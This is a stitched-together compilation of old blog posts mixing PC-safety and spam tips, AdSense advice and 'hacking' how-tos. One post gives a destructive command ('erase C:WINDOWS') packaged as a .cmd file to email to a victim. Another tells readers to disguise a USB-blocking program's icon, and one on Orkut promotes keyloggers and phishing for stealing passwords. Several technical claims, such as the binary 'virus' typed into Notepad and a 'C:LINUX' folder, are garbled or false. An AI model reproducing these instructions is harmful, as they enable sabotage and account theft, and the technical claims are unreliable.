In 2002, Google released the Google API (application programming interface), a way for programmers to access Google’s search engine results without violating the Google Terms of Service. A lot of people have created useful (and occasionally not-so-useful but interesting) applications not available from Google itself, such as Google Alert. For many applications, you’ll need an API key, which is available free fromCODE www.google.com/apis

A VIRUS PROGRAM TO DISABLE USB PORTS

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.
Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.
1. Download the USB_Block.rar file on to your computer.
2. It contains the following 4 files.

• block_usb.c (source code)
• unblock_usb.c (source code)

3. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - How to Compile C Programs.
3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).
4. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe  (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.
5. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post – How to Change the ICON of an EXE file (This step is also optional).
I hope you like this post. Please pass your comments.

12 TIPS TO MAINTAIN A VIRUS FREE COMPUTER 

Is your computer infected with virus? Do you often get mysterious error messages? Well this is a common problem faced by almost all the computer users across the globe. There are many viruses and worms out there that could infect your computer. Some are harmless, but, they do have the capacity to do any number of nasty things, up to and including, erasing all data from your computer. However there are ways to keep viruses away from your PC. Here are the 12 tips to maintain a virus free computer.
1. Email is one of the common ways by which your computer can catch a virus. So it is always recommended to stay away from SPAM. Open only those emails that has it’s origin from a trusted source such as those which comes from your contact list. If you are using your own private email host (other than gmail, yahoo, hotmail etc.) then it is highly recommended that you use a good anti-spam software. And finally NEVER click on any links in the emails that comes from untrusted sources.
2. USB thumb/pen drives is another common way by which viruses spread rapidly. So it is always a good habit to perform a virus scan before copying any data onto your computer. NEVER double-click the pen drive to open it. Instead right-click on it and select the option “open”. This is a safe way to open a pen drive.
3. Be careful about using MS Outlook. Outlook is more susceptible to worms than other e-mail programs, unless you have efficient Anti-Virus programs running. Use Pegasus or Thunderbird (by Mozilla), or a web-based program such as Hotmail or Yahoo (In Firefox).
4. As we all know, Internet is the main source of all the malicious programs including viruses, worms, trojans etc. In fact Internet contributes to virus infection by up to 80%. So here are the tips for safe surfing habits so that you can ward off virus infection up to the maximum extent.

• Don’t click on pop-up windows that announce a sudden disaster in your city or announce that you’ve won an hourly prize. They are the ways to mislead Internet users and you should never trust them.
• You can also use a pop-up blocker to automatically block those pop-ups.

5. Most of us use search engines like Google to find what we are looking for. It is quite obvious for a malicious website to get listed in the search results. So to avoid visiting those untrusted malicious websites, you can download and install the AVG LinkScanner which is a freeware. This tool can become very handy and will help you to stay away from malicious websites.
6. Install a good antivirus software and keep it updated. Also perform full system scan periodically. It is highly recommended that you turn on the automatic update feature. This is the most essential task to protect your PC from virues. If PC security is your first option then it is recommended that you go for a shareware antivirus software over the free ones. Most of the antivirus supports the Auto-Protect feature that provides realtime security for your PC. Make sure that this feature is turned on.
7. Install a good Antispyware program, that operates against Internet malware and spyware.
8. Never open any email attachments that come from untrusted sources. If it is a picture, text or sound file (these attachments end in the extensions .txt, .jpeg, .gif, .bmp, .tif, .mp3, .htm, .html, and .avi), you are probably safe, but still do a scan before opening.
9. Do not use disks that other people gave you, even from work. The disk could be infected with a virus. Of course, you can run a virus scan on it first to check it out.
10. Set up your Windows Update to automatically download patches and upgrades. This will allow your computer to automatically download any updates to both the operating system and Internet Explorer. These updates fix security holes in both pieces of software.
11. While you download files from untrusted websites/sources such as torrents, warez etc. make sure that you run a virus scan before executing them.
12. And finally it is recommended not to visit the websites that feature illegal/unwanted stuffs such as cracks, serials, warez etc. since they contribute much in spreading of viruses and other malicious programs.

 HOW TO PROTECT YOUR E-MAIL FROM SPAM

Most of us get SPAM every day. Some of us get more and some little. Even a newly created email account will begin to receive spam just after a few days of it’s creation. Many times we wonder where these spam come from and why? But this question remains unanswered within ourselves. So in this post I will try my best to give every possible information about the spam and will also tell you about how to combat spam.
What is SPAM?
Spam is the abuse of electronic messaging systems (including most broadcast media, digital delivery systems) to send unsolicited bulk messages indiscriminately. Most widely recognized form of spam is email spam.
Where do these SPAM come from?
These spam come only from spammers and never from a legitimate user or a company. These spammers send a single email to hundreds (some times thousands or millions) of email addresses at a time. They either send it manually or use spambots to automate the process of spamming.
Why do spammers SPAM?
The main goal of spammers is to send the spam (unsolicited bulk messages) to as many people as possible in order to make profit. For example, John builds a small website to sell an ebook which gives information about weight loss. In order to make sales he needs publicity for his website. Instead of spending money on advertising, John decides to create an email which contains information about his site along with it’s link and send this email to say 100 email addresses in his contact list. If 1 person out of hundred buy this book john gets $10. What if he sends this email to 1000s of email addresses. He gets $100. Imagine, if he sends this email to 1 Million email addresses he gets $100000.
Now I hope you understood the idea behind spamming. So in order to make money, spammers send their advertising emails to as many people as possible without respecting the recipient’s privacy.
From where do SPAMmers get my email address?
On the Internet there exists many sites who collect the email IDs of people and sell them to spammers in bulk. Most often, people sign up for monthly newsletters and take up surveys. This is the time where these scam sites get their email addresses. Also many spammers collect email addresses by using spambots. These spambots collect email addresses from the Internet in order to build mailing lists. Such spambots are web crawlers that can gather email addresses from Web sites, newsgroups, forums, special-interest group (SIG) postings, and chat-room conversations.
Spammers also use the trick of creating Hoax Emails for gathering a huge list of email IDs. For example, a spammer sends a hoax email which says “Forward this Message to Help Severely Burned Child”. This email claims that 11 cents will be donated to the child’s family every time the message is sent to others. Most of the people believe this and start forwarding this hoax email to all of the IDs in their contact list. In this way the email spreads rapidly and eventually when it reaches the creator (spammer), the spammer gets a huge list of valid email addresses in the email header. When you get these kind of hoax emails, you can see for yourself in the email header which contains a huge list of email addresses of all those people to whom the email is being forwarded to. This is one of the effective methods used by spammers to gather email addresses.
Is SPAMming legal?
Spamming is completely illegal. Yet it is really difficult to stop spammers from spamming since they keep moving from one hosting company to another after getting banned. This makes it practically impossible to catch spammers and prosecute them.
How to protect my email account from getting SPAMmed?
The following methods can be used to combat email spam.
1. Use spam filters for your email account. If you’re using email services like Gmail, Yahoo, Hotmail etc. then spam filters are used by defaut. Each spam filter has it’s algorithm to detect spam emails and will automatically move them to SPAM folder. This keeps your inbox free from spam. However some spam emails become successful to make their way into the inbox by successfully bypassing the filters.
2. Do not post your email address in public forums, user comments and chat-rooms. Give your email address only to trustworthy websites while signing up for newsletters.
3. While taking up online surveys and filling up feedback forms, it is better not to give your personal email address. Instead singup for a dummy email account and use this for surveys and feedback forms.
4. While posting your contact email address on your website use this format: emailaddress [at] yoursite.com instead of emailaddress@yoursite.com. This protects your email address from being indexed by spambots.
5. Do not respond to hoax messages. When you receive a hoax email, avoid forwarding it to your friends. Examples of hoax messages can be found at www.hoax-slayer.com. If you really want to forward it to your friends, make sure that you use “Bcc” (blind certified copy) option to send the email. This will hide all the email IDs to which the mail is forwarded to.
I hope this helps. Pass your suggestions and feedback via comments.

HOW TO HACK B.S.N.L BROADBAND FOR SPEED

If you are a BSNL broadband user, chances are that you are facing frequent DNS issues. Their DNS servers are just unresponsive. The look up takes a long duration and many times just time out. The solution? There is small hack on BSNL for this. Use third party DNS servers instead of BSNL DNS servers or run your own one like djbdns. The easiest options is to use OpenDNS. Just reconfigure your network to use the following DNS servers:
208.67.222.222
208.67.220.220
Detailed instructions specific to operating system or your BSNL modem are available in the OpenDNS website itself. After I reconfigured my BSNL modem to use the above 2 IP addresses, my DNS problems just vanished! Other ‘freebies’ that come with OpenDNS are phishing filters and automatic URL correction. Even if your service provider’s DNS servers are working fine, you can still use OpenDNS just for these two special features.After you hack BSNL DNS servers, you will see a noticeable improvement in your broadband speed.

 

HOW TO HACK A ORKUT ACCOUNT

How To Hack Orkut ???

Google uses a 4 Level Orkut login which makes it difficult to hack Orkut using brute force attack.

First Level - Security-SSL or 128 bit secured connection

Second Level – Google account checks for cookie in the sytem of user

 

Third Level – Google provides a redirection to the entered User information

 

Fourth Level – Google doesn’t use conventional php/aspx/asp coding. So it is impossible to hack Orkut using input validation attack!!!

It is not an easy task to hack Orkut by breaking this security! But still some people manages to get access to other’s Orkut accounts. The question concerned is How they do it? Many of them just use simple tricks that fool users and then they themself leak out their password. Here are some points you need to take care of, to protect your Orkut account being hacked.

Common Ways to Hack Orkut

1. Using Keyloggers is one of the Easiest Way to Hack an Orkut (or any other email) password. Keylogger programs can spy on what the user types from the keyboard. If you think that you can just uninstall such programs, you are wrong as they are completely hidden.
A keylogger, sometimes called a keystroke logger, key logger, or system monitor, is a hardware device or small program that monitors each keystroke a user types on a specific computer’s keyboard. Keylogger is the easiest way to hack an Orkut account.
A keylogger program is widely available on the internet. Some of the best ones are listed below
Win-Spy Monitor

2. Phishing Attack is the most popular way of hacking/stealing other’s password. By using fake login pages it is possible to hack Orkut. Here the users land on a page where they are asked for their login information and they enter their Orkut username and password thinking it to be a real page but actually it is other way round. It submits all the entered details to the creator of the fake login page.
3. Orkut New Features: I have come across a page(fake page) that looks like they are giving the user a choice of selecting new features for orkut with your ID and password, of course!! When the user submit’s his/her Orkut login information through this page, there goes his ID and password mailed to the coder.
4. Community Links: Many times you are provided with a link to a community in a scrap. Read the link carefully, It may be something like http://www.okrut.com/Community.aspx?cmm=22910233 OKRUT not ORKUT. This is definitely a trap created by the hacker to hack your Orkut password. Clicking on this link will take you to a fake login page and there you loose up your password.
5. Java script: You must have seen the circulating scraps that asks you to paste this code in your address bar and see what happens! Well sometimes they also leak out your information. Check the code and if you are unsure of what to do, then I recommend not to use it. So be careful, javascripts can even be used to hack Orkut!
6. Primary mail address: If by some means a hacker came to know the password of your Yahoo mail or Gmail, which users normally keeps as their primary mail address in their Orkut account, then hacker can hack Orkut account by simply using USER ID and clicking on ‘forget password’. This way Google will send link to the already hacked primary email ID to change the password of the Orkut account. Hence the email hacker will change your Orkut account’s password. Hence your, Orkut account is hacked too.
So a better thing would be to keep a very unknown or useless email ID of yours as primary email id so that if the hacker clicks on ‘Forgot password’ the password changing link goes to an unknown email id i.e. not known to the hacker. Hence your Orkut account saved.
So, I hope that this post not only teaches you to hack Orkut but also to hack protect your Orkut account.

HOW TO MAKE A VIRUS THAT CAN KILL ANY P.C IN THIS WORLD GURANTEED!!!

What this virus does is completely and permanently delete Windows or Linux depending. Please read the caution at the top.Onto the trick. Follow the directions carefully.
1- Write The Following In Notepad Exactly as it says Code: 01001011000111110010010101010101010000011111100000
2- Save the file as an EXE (Click File-->Save as...-->and erase what ever is there and type in something like funnystuff.exe).
3- To test it, create a textfile called "TEST.txt"(just leave it blank) and save it in 'My Documents' or something in your C: drive. Now in a NEW notepad type "erase C:TEST.txt" (without the quotes). Then do "Save As..." and save it as "Test.cmd". Now run the file "Test.cmd" and go to C: and you'll see your Test.txt is gone. Now, the real work begins:
4- Go to Notpad and type "erase C:WINDOWS" (or C:LINUX if your targeted victim has linux) and save it again as funnypicture.cmd or something.
5- DON'T EVER run the file or you'll lose your WINDOWS map. So, that's the virus.
6- Send an email to your victim and attach the file "Funnypicture.cmd" or whatever you named it. When they open it, their Windows will be erased.
Caution: This is a virus that can do alot of damage and sometimes cause the victim to rebuy Windows XP/Linux. Do NOT just use this because you are mad at a friend. I am in no way responible for anything you do

HOW TO CATCH A VIRUS IN YOUR P.C WITHOUT ANY ANTIVIRUS

If you've let your guard down--or even if you haven't--it can be hard to tell if your PC is infected. Here's what to do if you suspect the worst.


Heard this one before? You must run antivirus software and keep it up to date or else your PC will get infected, you'll lose all your data, and you'll incur the wrath of every e-mail buddy you unknowingly infect because of your carelessness.

You know they're right. Yet for one reason or another, you're not running antivirus software, or you are but it's not up to date. Maybe you turned off your virus scanner because it conflicted with another program. Maybe you got tired of upgrading after you bought Norton Antivirus 2001, 2002, and 2003. Or maybe your annual subscription of virus definitions recently expired, and you've put off renewing.

It happens. It's nothing to be ashamed of. But chances are, either you're infected right now, as we speak, or you will be very soon.

For a few days in late January, the Netsky.p worm was infecting about 2,500 PCs a day. Meanwhile the MySQL bot infected approximately 100 systems a minute (albeit not necessarily desktop PCs). As David Perry, global director of education for security software provider Trend Micro, puts it, "an unprotected [Windows] computer will become owned by a bot within 14 minutes."

Today's viruses, worms, and so-called bots--which turn your PC into a zombie that does the hacker's bidding (such as mass-mailing spam)--aren't going to announce their presence. Real viruses aren't like the ones in Hollywood movies that melt down whole networks in seconds and destroy alien spacecraft. They operate in the background, quietly altering data, stealing private operations, or using your PC for their own illegal ends. This makes them hard to spot if you're not well protected.

Is Your PC "Owned?"

I should start by saying that not every system oddity is due to a virus, worm, or bot. Is your system slowing down? Is your hard drive filling up rapidly? Are programs crashing without warning? These symptoms are more likely caused by Windows, or badly written legitimate programs, rather than malware. After all, people who write malware want to hide their program's presence. People who write commercial software put icons all over your desktop. Who's going to work harder to go unnoticed?

Other indicators that may, in fact, indicate that there's nothing that you need to worry about, include:

* An automated e-mail telling you that you're sending out infected mail. E-mail viruses and worms typically come from faked addresses.
* A frantic note from a friend saying they've been infected, and therefore so have you. This is likely a hoax. It's especially suspicious if the note tells you the virus can't be detected but you can get rid of it by deleting one simple file. Don't be fooled--and don't delete that file.

I'm not saying that you should ignore such warnings. Copy the subject line or a snippet from the body of the e-mail and plug it into your favorite search engine to see if other people have received the same note. A security site may have already pegged it as a hoax.

Sniffing Out an Infection

There are signs that indicate that your PC is actually infected. A lot of network activity coming from your system (when you're not actually using Internet) can be a good indicator that something is amiss. A good software firewall, such as ZoneAlarm, will ask your permission before letting anything leave your PC, and will give you enough information to help you judge if the outgoing data is legitimate. By the way, the firewall that comes with Windows, even the improved version in XP Service Pack 2, lacks this capability.

To put a network status light in your system tray, follow these steps: In Windows XP, choose Start, Control Panel, Network Connections, right-click the network connection you want to monitor, choose Properties, check "Show icon in notification area when connected," and click OK.

If you're interested in being a PC detective, you can sniff around further for malware. By hitting Ctrl-Alt-Delete in Windows, you'll bring up the Task Manager, which will show you the various processes your system is running. Most, if not all, are legit, but if you see a file name that looks suspicious, type it into a search engine and find out what it is.

Want another place to look? In Windows XP, click Start, Run, type "services.msc" in the box, and press Enter. You'll see detailed descriptions of the services Windows is running. Something look weird? Check with your search engine.

Finally, you can do more detective work by selecting Start, Run, and typing "msconfig" in the box. With this tool you not only see the services running, but also the programs that your system is launching at startup. Again, check for anything weird.

If any of these tools won't run--or if your security software won't run--that in itself is a good sign your computer is infected. Some viruses intentionally disable such programs as a way to protect themselves.

What to Do Next

Once you're fairly sure your system is infected, don't panic. There are steps you can take to assess the damage, depending on your current level of protection.

* If you don't have any antivirus software on your system (shame on you), or if the software has stopped working, stay online and go for a free scan at one of several Web sites. There's McAfee FreeScan, Symantec Security Check, and Trend Micro's HouseCall. If one doesn't find anything, try two. In fact, running a free online virus scan is a good way to double-check the work of your own local antivirus program. When you're done, buy or download a real antivirus program.

* If you have antivirus software, but it isn't active, get offline, unplug wires-- whatever it takes to stop your computer from communicating via the Internet. Then, promptly perform a scan with the installed software.

* If nothing seems to be working, do more research on the Web. There are several online virus libraries where you can find out about known viruses. These sites often provide instructions for removing viruses--if manual removal is possible--or a free removal tool if it isn't. Check out GriSOFT's Virus Encyclopedia, Eset's Virus Descriptions, McAffee's Virus Glossary, Symantec's Virus Encyclopedia, or Trend Micro's Virus Encyclopedia.

A Microgram of Prevention

Assuming your system is now clean, you need to make sure it stays that way. Preventing a breach of your computer's security is far more effective than cleaning up the mess afterwards. Start with a good security program, such Trend Micro's PC-Cillin, which you can buy for $50.

Don't want to shell out any money? You can cobble together security through free downloads, such as AVG Anti-Virus Free Edition, ZoneAlarm (a personal firewall), and Ad-Aware SE (an antispyware tool).

Just make sure you keep all security software up to date. The bad guys constantly try out new ways to fool security programs. Any security tool without regular, easy (if not automatic) updates isn't worth your money or your time.

Speaking of updating, the same goes for Windows. Use Windows Update (it's right there on your Start Menu) to make sure you're getting all of the high priority updates. If you run Windows XP, make sure to get the Service Pack 2 update. To find out if you already have it, right-click My Computer, and select Properties. Under the General tab, under System, it should say "Service Pack 2."

Here are a few more pointers for a virus-free life:

* Be careful with e-mail. Set your e-mail software security settings to high. Don't open messages with generic-sounding subjects that don't apply specifically to you from people you don't know. Don't open an attachment unless you're expecting it.

* If you have broadband Internet access, such as DSL or cable, get a router, even if you only have one PC. A router adds an extra layer of protection because your PC is not connecting directly with the Internet.

* Check your Internet ports. These doorways between your computer and the Internet can be open, in which case your PC is very vulnerable; closed, but still somewhat vulnerable; or stealthed (or hidden), which is safest. Visit Gibson Research's Web site and run the free ShieldsUP test to see your ports' status. If some ports show up as closed--or worse yet, open--check your router's documentation to find out how to hide them.

THE TRUTH ABOUT GOOGLE ADSENSE AFFILATES PROGRAM 

The truth about Google’s Adsense program is that it is amazing. It’s the greatest
affiliate program ever invented. There is no affiliate program that even comes
close. If you are not using Google’s Adsense, you’re truly missing out on a great
opportunity. I’ve tried several other affiliate programs, and the only one that is
creating revenue even close to Google’s, is the Amazon.com affiliate program.
Amazon.com’s affiliate program pays 5% commission and up for shipped
products. It’s not really clear how Google pays you, but let me tell you it seems
very fair. They do not pay per clicks, leads, or click throughs; they have a secret
formula that no one will tell. But trust me it works. I was making pennies off of
clicks monthly, until I joined Google. Then the pennies became dollars.

Here are some basic tips for signing up with Google’s Adsense program.

Tip # 1 If you search multiple websites in different categories you’ll find one
thing in common. Almost all of them have Google ads and nothing else. This is
because most other programs are a waste of time. Don’t take my word for it.
Try other programs, but don’t skip Google’s Adsense.

Tip # 2 Google’s search spiders are so specific, that the ads that appear on each
page correspond exactly to some element of that page. Therefore, having ads
from other companies is not a good idea.

TIP # 3 You can place text, image, banner ads and even a search box that will
earn your company revenue. Do not place a search box from another company
on the same page as Google’s search box. They may stop working with you.
In summary, the Adsense program is a great way to make revenue, has
incredibly targeted ads and don’t use other search boxes on the same page as a
Google search box. If you have any questions about Google’s Adsense program,
you can email me at tech1@techpizza.com

ONE SIMPLE THING THAT CAN DOUBLE YOUR GOOGLE ADSENSE INCOME

I've been working with Google's Adsense program for a while now. If you're not
already in the program, why not take a look at it now at
https://www.google.com/adsense. I really like Adsense. It makes me money
and it's easy to work with. Just some simple copy & paste into your webpage
and you're done. Right?

Wrong! You can do it that way if you want. Who knows? Maybe you'll get lucky
and get a lot of clicks. But if you're really serious about making a lot of money
with the program, you're going to have to tweak it a little.

I've invested quite a bit of time experimenting with the program. When I first
signed up, I got some clicks and made a tiny bit of money. That wasn't good
enough. I knew there must be a way to get more of my visitors to click on the
ads.

Google has a strict policy about not pointing to the ads in any way or asking
people to click on them, so there were two things I couldn't do. What else was
there?

Then I remembered reading an article once that discussed the psychological
impact of colors on the human mind. I started researching everything I could
find on the subject.

After a lot of reading, many tests and periods of watching my clicks go up and
down, I found the one color combination that seemed to work the best.
Testing previously done at supermarkets had revealed that the same product
could pull more sales from just changing the colors of the label. What were
these colors? Red and yellow! The combination of these two colors has an
immediate impact on the person who sees them. They make your eyes stop and
focus. They pull your eyes right to that part of the page. They grab your
attention! I'm not sure exactly why the combination of red and yellow does this,
but it does. On one of my sites, I changed my Adsense ads to a bright red
border and a yellow background with black text and URL.

My click through rate more than doubled with just that one simple change.
That's what worked on my site. Your site's color scheme may work better with a
slightly different color combination. Try lots of different color variations. Make a
change in the morning and let it ride for the whole day. The next morning, try a
different set of colors. Change the border, background, text. Change everything
you can. Most importantly, keep detailed records of the color scheme you used,
click ratio and revenue generated.

After you've done all the experimenting you want to, go back to the most
profitable one and let it run for a week or so and see how it does. I'm always
trying different colors even after my run of good clicks with red and yellow.
There are a lot of color combinations to choose from. You never know when
you'll find just the right one.
